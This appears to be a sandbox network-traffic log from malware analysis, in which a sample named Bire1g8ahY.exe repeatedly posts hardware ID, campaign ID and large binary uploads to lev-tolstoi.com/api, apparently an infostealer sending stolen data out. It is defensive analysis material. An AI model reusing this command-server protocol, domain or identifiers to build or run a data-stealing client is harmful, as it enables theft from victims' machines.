2024-12-23 07:44:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:44:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49716	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:26 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KCG68FSE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15016 Host: lev-tolstoi.com
2024-12-23 07:44:26 UTC	15016	OUT	Data Raw: 2d 2d 4b 43 47 36 38 46 53 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 43 44 45 39 39 43 35 44 38 43 30 33 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 43 47 36 38 46 53 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 43 47 36 38 46 53 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 43 47 36 38 46 53 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --KCG68FSEContent-Disposition: form-data; name="hwid"3FCDE99C5D8C0386AC8923850305D13E--KCG68FSEContent-Disposition: form-data; name="pid"2--KCG68FSEContent-Disposition: form-data; name="lid"PsFKDg--pablo--KCG68FSEContent-Disposit
2024-12-23 07:44:26 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7mbiv85dsjr3ulves0cbbo5kfq; expires=Fri, 18 Apr 2025 01:31:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n9%2F7T%2B%2BGOM40Ly90lkQqZ4WFqI%2BrczQnMo2d34wa0bxBo3AXWiS5H%2BAKZ3KY24hkmBPpKrUBxK7n4f1CoDVtSWtgINw4eh8KNKF5mIBSlyliAvZxP1P%2B9ptWOEX1DjkzLbU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66b9f45d745e5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2150&min_rtt=2136&rtt_var=829&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2834&recv_bytes=15945&delivery_rate=1297201&cwnd=251&unsent_bytes=0&cid=d8eed5ac08c52a4b&ts=827&x=0"
2024-12-23 07:44:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:44:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49726	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:28 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WDARQ445QAJ5M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20371 Host: lev-tolstoi.com
2024-12-23 07:44:28 UTC	15331	OUT	Data Raw: 2d 2d 57 44 41 52 51 34 34 35 51 41 4a 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 43 44 45 39 39 43 35 44 38 43 30 33 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 44 41 52 51 34 34 35 51 41 4a 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 44 41 52 51 34 34 35 51 41 4a 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 57 44 41 52 51 34 34 35 51 41 4a Data Ascii: --WDARQ445QAJ5MContent-Disposition: form-data; name="hwid"3FCDE99C5D8C0386AC8923850305D13E--WDARQ445QAJ5MContent-Disposition: form-data; name="pid"3--WDARQ445QAJ5MContent-Disposition: form-data; name="lid"PsFKDg--pablo--WDARQ445QAJ
2024-12-23 07:44:28 UTC	5040	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-23 07:44:29 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m7vmov7l48vijddv3kfgdg3q5g; expires=Fri, 18 Apr 2025 01:31:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dD5e0L5Jkwu4Mtvj4ZnjYy6xzHTFpavyAVHCc4fGYkrPZirWCaJAy6vgY8n3joX8RsBczCZvfLP3RhMNaVD7SmHEI%2BxVvwuBXw9g45AMghf6g4VCFPlOG4akXV%2FQFNRuva4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66ba028d4143a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1671&min_rtt=1658&rtt_var=648&sent=15&recv=27&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21327&delivery_rate=1654390&cwnd=245&unsent_bytes=0&cid=ffe350df58cdbc7f&ts=1030&x=0"
2024-12-23 07:44:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:44:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49734	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:30 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9WTBNJRAAXB2RS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1226 Host: lev-tolstoi.com
2024-12-23 07:44:30 UTC	1226	OUT	Data Raw: 2d 2d 39 57 54 42 4e 4a 52 41 41 58 42 32 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 43 44 45 39 39 43 35 44 38 43 30 33 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 57 54 42 4e 4a 52 41 41 58 42 32 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 57 54 42 4e 4a 52 41 41 58 42 32 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 57 54 42 4e 4a 52 41 Data Ascii: --9WTBNJRAAXB2RSContent-Disposition: form-data; name="hwid"3FCDE99C5D8C0386AC8923850305D13E--9WTBNJRAAXB2RSContent-Disposition: form-data; name="pid"1--9WTBNJRAAXB2RSContent-Disposition: form-data; name="lid"PsFKDg--pablo--9WTBNJRA
2024-12-23 07:44:31 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4b61tdaui7g98814ds23pgv7d0; expires=Fri, 18 Apr 2025 01:31:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2rXxHVi27VHNyIhHcetn5whBeNdsdJiwrPvWn2GEYJkBUeCxtR3tELeRLdHlOI0BfXEc0or8nIhhAUsZQo3%2FIMpfIHi3UP9iIkpvCfb4EV7TfkMq9%2F8AfBVmTaDfFNFabQI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66ba12bce01a40-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1964&min_rtt=1960&rtt_var=738&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2138&delivery_rate=1489795&cwnd=195&unsent_bytes=0&cid=b488c34432fc8ae8&ts=776&x=0"
2024-12-23 07:44:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:44:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49741	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:33 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZCJ84QFPH7H2WPY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 579195 Host: lev-tolstoi.com
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: 2d 2d 5a 43 4a 38 34 51 46 50 48 37 48 32 57 50 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 43 44 45 39 39 43 35 44 38 43 30 33 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 43 4a 38 34 51 46 50 48 37 48 32 57 50 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 43 4a 38 34 51 46 50 48 37 48 32 57 50 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 5a 43 4a 38 34 Data Ascii: --ZCJ84QFPH7H2WPYContent-Disposition: form-data; name="hwid"3FCDE99C5D8C0386AC8923850305D13E--ZCJ84QFPH7H2WPYContent-Disposition: form-data; name="pid"1--ZCJ84QFPH7H2WPYContent-Disposition: form-data; name="lid"PsFKDg--pablo--ZCJ84
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: 5d 0d f7 f0 12 9c f7 d5 ab e9 1a 93 db d7 c7 31 bd a2 1b 0a f1 4b fb b4 a8 f1 f1 f1 58 bf 31 25 2a f2 da 42 f8 d4 7f 4a 48 60 8e f4 b3 21 0e 03 64 ad 0b 92 5c c5 bd e4 f2 cf d3 ba 28 4b c0 d3 ec b5 82 52 d9 ef 20 5a a2 f4 f2 9e 44 88 20 ea 46 37 c0 2c a7 7e e9 92 f6 a3 c1 94 c8 59 43 73 3e 84 75 a6 c1 71 24 9c f5 43 00 14 f3 73 22 55 97 35 46 d9 43 37 36 29 f2 e0 a9 31 11 14 9f 67 14 9d 07 cb b9 45 9c 22 71 b0 33 41 05 74 ce 2b 5d 4d bf 4c 14 3c 55 3b 7a ae ec 73 51 d0 85 cf fa 45 9b bf 6f 28 be fa 52 67 58 7e c9 90 f5 cf 83 57 59 3d 01 3d 6d 4e 3d cf a2 51 f0 e7 eb 1a 45 a5 bc f0 fa a7 52 06 41 cf 5e 84 7e b4 a5 af ab 46 e1 0f 88 c0 f4 7e e5 02 e8 e5 37 90 ac aa 14 e7 ff 4d d4 c1 13 70 19 5a 5a 84 4c 36 b1 aa cf 4a 86 42 7e 5b 0f a9 38 86 d8 c3 16 e5 c4 Data Ascii: ]1KX1%*BJH`!d\(KR ZD F7,~YCs>uq$Cs"U5FC76)1gE"q3At+]ML<U;zsQEo(RgX~WY==mN=QERA^~F~7MpZZL6JB~[8
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: 3f 34 fd eb e4 91 19 54 9c 63 5a 8a 69 ab e4 95 77 e9 6e 33 d8 91 04 9d 98 a4 2d ad 5e cd fb 7e 64 88 fa 88 33 17 f4 7a 38 6e 4e aa ea 73 1f f7 9b 73 c8 48 d0 e2 a0 57 51 50 1d fb 67 5d 75 f8 62 8d 46 42 b4 00 28 aa fb f9 70 71 f5 75 a1 ff d4 53 5a f4 93 63 d7 ff 32 dc fe 71 7f 24 27 ef e9 52 d3 53 5a 1e 8b 56 78 fb 73 d0 c8 d6 75 4f c5 3b 8f 9d fe b8 ca 28 42 83 0b f8 fe de fa 3e 25 80 dd 6d 7c d3 5e e9 91 f5 e1 58 3c 0d 02 4f 17 ea 47 86 d4 00 63 48 01 c0 37 df 18 83 e5 e1 1c 08 5c 34 97 00 51 9a db ef 8e f3 01 52 fa ed df ea 20 06 b5 92 57 49 f5 e2 20 aa a1 1e 0f 25 95 29 82 cd e7 5b b9 ff 77 ae d0 cb fb 22 bf 1e 2d ba 17 2f 01 88 e2 48 9e 60 b9 23 c3 24 40 d9 c9 fc cd b2 51 fc c0 b1 0c 8d 44 1c 59 9f 43 64 23 f3 ef 5f a3 f2 28 a4 88 77 99 ef f3 93 7b Data Ascii: ?4TcZiwn3-^~d3z8nNssHWQPg]ubFB(pquSZc2q$'RSZVxsuO;(B>%m\|^X<OGcH7\4QR WI %)[w"-/H`#$@QDYCd#_(w{
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: 0f 78 ef ce 26 eb 3e 55 34 7f be d3 6e b7 96 68 3f 36 d7 87 be bc ff 6a c4 2a 43 64 fc 93 24 18 d0 66 48 de 7a 40 9c c2 18 1d f2 19 b9 31 a0 ce 0d ec 72 e5 ba 78 58 ec e1 95 e5 0f 5e 77 08 bc 3b 3a fa 07 45 71 48 af da 2d 15 99 3f eb 85 07 d8 35 1d 6f a9 c4 89 b0 50 58 a3 d6 78 35 58 a5 b8 8d 2a df f4 14 5f 9b de 2e ba 31 cf 71 73 1f 69 68 d8 bb b0 ef dd 3a 15 5f d8 11 31 e8 95 2e 08 f0 cf fc c1 3b 2f 5f 1b 4c bb 79 39 b2 f1 8f 66 e5 0d 3a fa 54 2a 49 a4 e7 ee e3 51 3b aa 31 fe 87 a6 a4 cc 5b e2 e9 31 c9 ea 28 8f 9a 5b 07 d8 01 9a ae bd c5 db 62 f5 fa 26 e7 71 e2 a3 5f 49 d3 40 ad 81 de ba 34 31 14 56 17 e8 50 e3 76 ba a4 f7 f8 cd a3 7d 47 b9 3e 0b bb 50 41 54 89 ac f5 3f 75 f2 93 1d 0d 03 3f e8 d9 18 e2 d0 d8 76 9e 71 ca f9 ba 8f d9 bd c9 5f 90 d3 72 71 Data Ascii: x&>U4nh?6jCd$fHz@1rxX^w;:EqH-?5oPXx5X_.1qsih:_1.;/_Ly9f:T*IQ;1[1([b&q_I@41VPv}G>PAT?u?vq_rq
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: db 48 9a fc 6e ec 61 d2 e4 dd cb 06 0c 46 be 6f ff 91 cb a1 0d 4b 4f 3b ca d6 b2 d3 62 39 fe 17 52 87 53 e8 97 93 fc 05 a9 b6 fc 7a cb 57 21 6c 9d 1c 99 63 4b 54 27 21 01 cf 82 5e 6b 87 0e b3 5e 29 87 ae b2 af 78 1e 12 7e b7 84 e3 0a 1e 10 5e 70 a9 ab d1 7b c3 0b f1 fc 41 21 ca df 01 cc f4 98 41 44 f8 84 5a d0 c0 1f c7 4f 9a 3f 1e a0 b7 51 a0 75 ba e0 8e 12 55 19 bd fb ef a7 b3 a3 6b 5c ad 30 c4 9b 0d ce 6b c7 91 49 98 f6 dc ab cf 6f f2 34 e9 cb 86 d5 e0 f7 71 91 c2 03 ee 9e c9 e0 0a d0 ab 97 44 45 65 70 45 96 12 1a 3b 30 a7 a6 37 6f 42 a8 ac ea 39 66 51 a1 53 bd f1 fc d6 84 41 5d fa c8 a3 e3 0f a1 ed 6f d9 b8 31 05 6c 86 53 47 7f 2b 53 48 03 63 83 21 c4 27 a0 a9 e8 fa ab db dd cd bb 06 75 f2 cb ca 2b f3 3a 82 a6 06 0c e6 03 18 fb 41 bb ed 6c 6f 50 b7 6e Data Ascii: HnaFoKO;b9RSzW!lcKT'!^k^)x~^p{A!ADZO?QuUk\0kIo4qDEepE;07oB9fQSA]o1lSG+SHc!'u+:AloPn
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: 96 fb a3 3e f1 82 21 0d 12 a9 d3 82 0b ee 5c b4 cf 37 46 b7 84 d2 a1 7e 79 d4 42 af bc 39 e8 c7 20 b4 ae 40 20 56 12 08 a2 10 82 62 e0 a5 c9 9d ac dd 9b 78 46 11 94 73 d0 28 0e 50 5d 2d ff 17 0e e1 ce 86 be 4a 9e b8 57 74 9e d8 f5 a1 9b 6b a6 6f 75 56 ac c6 f3 3f 6b 87 f0 3f 65 c0 4e 68 f7 a4 13 1f 5c af 79 8a f4 eb a1 ac 52 db 66 8a 13 40 db 35 6a b5 21 fd df e7 fa 83 2e 0b d6 0d 19 fe 9c 16 a2 fc 06 7e fb 4b 20 58 49 60 36 97 ca 23 ce 4e 42 44 a9 ad cb da f8 e6 f6 3b 8e a3 dc 6e 28 04 3b 7b 28 25 e4 f8 94 14 32 0a c2 95 03 f0 63 cb cd 0d 7a d2 65 37 cb 48 3a 83 b7 57 c5 a7 11 89 5a 20 90 af 47 01 3c fc db 32 59 d0 10 18 99 86 57 b5 06 7a 27 3c 72 4e f3 25 fc c4 93 33 4c c3 7e 34 98 e5 89 f9 72 ae 82 f6 2a ca 6f d1 02 41 a3 ae d9 d2 73 54 4a c8 9e 6e a7 Data Ascii: >!\7F~yB9 @ VbxFs(P]-JWtkouV?k?eNh\yRf@5j!.~K XI`6#NBD;n(;{(%2cze7H:WZ G<2YWz'<rN%3L~4r*oAsTJn
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: c2 19 23 4b 7c 64 ed 6c 55 fd 1d aa 8c 43 04 9c c4 a7 e7 30 65 8f 9c a4 78 0e 0e 5a 95 a4 70 a3 5d f6 f5 2b 60 26 3c 09 c6 c4 4a 4e a5 a9 35 69 6b f0 86 bc 6c c1 01 39 de e5 b2 16 ed 2b 53 ce 0a 4d 73 0b df 35 d1 91 db f6 41 8e 34 b9 9c 5a 54 28 08 f9 b9 9c cb 88 1a b0 f8 6c 32 73 f8 ba 94 9a 34 d9 7b 16 ea 6d 78 c3 3d 9a 26 e4 9c be e3 36 5e af cc f3 ee 5c e3 3d 39 1a 76 b1 57 5c 2d 9d b2 a7 db 61 7a 28 5c fd cd 73 55 ad 71 ec 74 b4 df d7 99 db bc 5c 85 5f ba 8d 4f a2 29 db b2 5a bc 7b c0 45 5e f0 81 d5 a4 8b ba 2a 89 48 91 73 c3 dd 1d ce 12 4d 74 6f 2a d6 62 ae 48 fa b2 6c 16 b2 19 b3 bc 65 89 84 82 65 c9 77 d7 bc c4 cb 85 48 98 a3 84 a2 51 e9 6b 9e 41 a1 ba 15 16 a3 4e ca c2 67 bd 63 73 1e 9b 52 34 b7 f3 17 2f e0 30 c4 f6 ca 92 11 55 35 8b 2f ba 9e a5 Data Ascii: #K\|dlUC0exZp]+`&<JN5ikl9+SMs5A4ZT(l2s4{mx=&6^\=9vW\-az(\sUqt\_O)Z{E^HsMtobHleewHQkANgcsR4/0U5/
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: 12 bd f2 4c 84 60 dc 6d 27 17 6e f2 57 de 22 db 12 5f 78 3d da e0 00 56 81 4d 2c a4 47 9d 68 04 11 06 63 73 f4 3d 2f ff 34 46 c7 38 c3 99 67 e7 f9 af 0a 3a 5e 0a 3f 47 dc 1e d0 3b 12 fd 53 c7 73 84 84 0c 2e e9 e0 3a cd 0c b9 0e 49 ed 18 8f f1 cd 28 81 e2 85 b8 6a 0b 08 02 91 80 64 1a db 1d 90 93 1c ac e1 c7 f8 c6 17 77 05 0b f0 8b ae 6f 63 35 c1 b7 aa 5b e2 33 27 46 b8 8d 99 eb 27 b9 51 57 eb 8f b8 22 6f f8 dd 05 bb 9c 7a 88 9c 52 c3 96 dc c9 25 35 01 33 3a 5d 02 a9 0a d1 0b 9f 2f 07 cd 5c 0c e3 aa 05 55 24 75 72 f1 df 95 be bb 8f f7 65 1b a1 7e 5e e8 a8 da 77 d5 83 a5 36 ec e6 1b 9b e9 f5 45 6b 86 2d 02 57 62 d7 fe b0 48 3e 00 6b 52 02 1d ee 2e 5d 34 e5 b8 c9 67 91 26 9a 1b 14 d6 cd cb 63 66 89 b4 6f 22 79 a5 ac 2a f1 78 11 f5 38 15 e6 21 57 6b 5e be 6b Data Ascii: L`m'nW"_x=VM,Ghcs=/4F8g:^?G;Ss.:I(jdwoc5[3'F'QW"ozR%53:]/\U$ure~^w6Ek-WbH>kR.]4g&cfo"y*x8!Wk^k
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: fe 76 da 9e e1 93 ed fb 3a dd d9 31 d3 2e 18 76 4d 52 98 89 ea 01 78 2e 81 9b 34 e9 82 39 74 99 1f 47 12 f3 8b 05 85 41 77 9c ad 3b 05 ae a8 6b cb 91 13 e0 dc f1 82 c2 d1 d4 80 4a ff 0f 47 6d e7 88 fe 16 46 1a a7 3d bc aa db 30 f2 e2 8a 45 2a 57 60 07 b8 e3 5c 95 9c c3 2b 4e 48 a6 14 7d 58 36 bd 70 d8 31 83 14 7d 37 0e de 7e a5 51 1a 55 01 b0 2b 45 70 8f 0c 73 eb 1d da 57 ea a0 3b c6 72 4c c7 38 c4 8e 95 71 59 6b 03 e4 05 f4 4b ef 26 7f de f3 9b ec 43 50 c8 20 6f 81 1f a7 1f 9d 10 b0 18 c3 c0 f4 0d 77 4b 41 f6 66 83 a1 59 f9 61 4b 41 4d 1b 28 91 ed b7 3b b0 7d dc b4 bf 49 61 1a 7c 50 7d 15 19 72 07 04 31 4c 53 c8 26 55 5b ff 9d c6 c4 84 26 06 78 b3 7f 73 0b a2 05 3d 53 16 2c ae f4 c5 f1 fc 90 ca 8b 51 30 a5 1b 7e 77 dc 17 6f 4c 7c 1f 23 c7 0f dc 28 27 dd Data Ascii: v:1.vMRx.49tGAw;kJGmF=0E*W`\+NH}X6p1}7~QU+EpsW;rL8qYkK&CP owKAfYaKAM(;}Ia\|P}r1LS&U[&xs=S,Q0~woL\|#('
2024-12-23 07:44:33 UTC	15331	OUT	Data Raw: fa d7 7c 3a 5a 51 eb 84 33 16 83 07 99 35 66 24 52 1c 33 e9 8f fe 10 03 05 3f 65 3d ac 33 6d 01 82 01 0a ab 26 64 0b f2 d0 aa fe 50 4f 4d d2 13 7d 34 2c ac fc b9 52 80 ea ac f2 3b 6b 19 2d 75 a6 e3 ec a0 2e e1 d4 81 bb 0b b5 c6 9f 4d f7 a9 6e 18 c1 6c 01 38 66 e1 4d eb 63 22 11 bb 71 7b 10 43 5d d7 9c 5f f9 0b e1 47 c1 6e e9 fc 66 41 46 93 83 1d ae 8b 8f 5e 64 47 63 a1 37 58 ae c5 02 21 fb c9 fd 28 52 cf f2 eb e6 24 3b 52 02 e2 f7 0d c2 01 6a 5e 93 3b f9 02 9f 63 19 8e 65 b3 82 42 84 88 25 ed 62 0c 67 6d e7 c2 c8 d7 0e bd 21 3d 33 f5 5b 28 1b 57 87 8d d5 dc a5 c0 fb 61 fc de ed 77 34 4e c3 10 0f 70 af c8 76 19 73 65 85 a4 79 d1 4f 92 db 9e e7 b2 ec 34 e8 a8 1b a8 10 25 e8 a4 27 a5 e1 40 de 02 72 c3 bc d4 d8 29 fc 37 af 00 c4 ab 33 84 bd 5b 8b 1c 85 b1 d9 Data Ascii: \|:ZQ35f$R3?e=3m&dPOM}4,R;k-u.Mnl8fMc"q{C]_GnfAF^dGc7X!(R$;Rj^;ceB%bgm!=3[(Waw4NpvseyO4%'@r)73[
2024-12-23 07:44:36 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rfaqqm6nigm9hovm1ol6hbtd3b; expires=Fri, 18 Apr 2025 01:31:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f2IJk2DSOU7PnpmcSBBqvFSNBT8TC2WkraMwbSLZspH6nQRjWON%2Bn%2FT7toYv5kq2eWEs9Za9R0wficnchMijFiWcu%2BUCg5jgO%2FD2cByekO4xjICbz5Aw98w3PLo52hEaRWw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66ba230a0d558a-EWR alt-svc: h3=":443"; ma=86400 server-timing: 